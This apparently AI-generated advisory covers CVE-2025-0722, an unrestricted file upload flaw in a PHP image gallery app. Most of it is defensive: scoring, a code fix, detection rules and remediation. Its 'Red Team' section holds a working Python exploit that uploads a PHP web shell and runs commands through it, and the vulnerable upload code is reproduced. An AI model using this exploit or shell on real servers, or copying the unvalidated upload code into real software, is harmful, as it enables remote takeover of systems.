CVE-2025-0722

Executive Summary

CVE-2025-0722 is a critical unrestricted file upload vulnerability in the needyamin/image_gallery application version 1.0. The flaw resides in /admin/gallery.php within the Cover Image Handler, where the image argument is not properly sanitized. An attacker can remotely upload arbitrary files (e.g., web shells) leading to full server compromise. The vendor was contacted but did not respond, leaving the software unpatched. A public proof-of-concept (PoC) exists, increasing the risk of active exploitation.

Note: This vulnerability is not related to WordPress, Apache, or Nginx; it is a standalone PHP application.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical – Remote, unauthenticated file upload with public exploit code.

Deep Dive & Mechanics

The vulnerability exists in the Cover Image Handler functionality of gallery.php. The application fails to validate the file type, size, or content of uploaded files via the image parameter. An attacker can send a crafted HTTP POST request with a malicious file (e.g., a PHP web shell) to /admin/gallery.php. The server stores the file in a web-accessible directory, allowing the attacker to execute arbitrary commands.

Root Cause: Lack of input validation and missing file type restrictions in the upload logic.

Attack Flow:

1. Attacker identifies the vulnerable endpoint /admin/gallery.php.
2. Sends a POST request with a PHP file containing system commands.
3. The file is saved to the server (e.g., uploads/shell.php).
4. Attacker accesses the uploaded file to execute commands.

Vulnerable vs. Patched Code

Vulnerable Code (image_gallery 1.0):

<?php
// /admin/gallery.php
if(isset($_FILES['image'])){
    $target = "uploads/" . basename($_FILES['image']['name']);
    move_uploaded_file($_FILES['image']['tmp_name'], $target);
    echo "File uploaded successfully.";
}
?>

Patched Code (Hypothetical):

<?php
// /admin/gallery.php
if(isset($_FILES['image'])){
    $allowed = ['jpg', 'jpeg', 'png', 'gif'];
    $ext = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));
    if(!in_array($ext, $allowed)){
        die("Invalid file type.");
    }
    $target = "uploads/" . uniqid() . "." . $ext;
    move_uploaded_file($_FILES['image']['tmp_name'], $target);
    echo "File uploaded successfully.";
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running image_gallery 1.0.
• Python3 with requests library.

Exploit Script:

import requests

target_url = "http://target.com/admin/gallery.php"
payload = '<?php system($_GET["cmd"]); ?>'
files = {'image': ('shell.php', payload, 'application/x-php')}

response = requests.post(target_url, files=files)
if "uploaded" in response.text:
    print(f"Shell uploaded: {target_url.replace('/admin/gallery.php', '/uploads/shell.php')}")
else:
    print("Upload failed")

Usage:

1. Run the script against the target.
2. Access the uploaded shell: http://target.com/uploads/shell.php?cmd=id

Blue Team (Defensive)

Detection Steps:

• Monitor for POST requests to /admin/gallery.php with Content-Type: multipart/form-data.
• Alert on file extensions like .php, .phtml, .php5 in uploads.
• Check web server logs for unusual file access patterns (e.g., shell.php).

Honeypot:

• Deploy a fake /admin/gallery.php endpoint that logs all upload attempts.

Indicators of Compromise (IOCs)

• File Paths: /uploads/shell.php, /uploads/*.php
• Network: POST requests to /admin/gallery.php with image parameter.
• Logs: "File uploaded successfully" in application logs.
• Processes: Unusual PHP processes (e.g., php-cgi executing shell commands).

Detection Engineering

YARA Rule

rule CVE_2025_0722_Webshell {
    meta:
        description = "Detects PHP webshells uploaded via CVE-2025-0722"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $cmd_param = "$_GET[\"cmd\"]"
    condition:
        $php_tag and $system_call and $cmd_param
}

Sigma Rule

title: CVE-2025-0722 Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /admin/gallery.php with PHP file uploads
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/gallery.php'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate admin uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0722 Unrestricted File Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/admin/gallery.php"; http.request_body; content:"image"; fileext; content:".php"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /admin/gallery.php via web server config (e.g., .htaccess or Nginx location block).
2. Remove the application: Uninstall image_gallery 1.0 until a patch is available.
3. Web Application Firewall (WAF): Deploy rules to block file uploads with executable extensions.

Long-term Fix:

• Implement file type validation (whitelist allowed extensions).
• Rename uploaded files to random names.
• Store uploads outside the web root.
• Use content security headers to prevent execution.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All intelligence is for authorized defensive use only.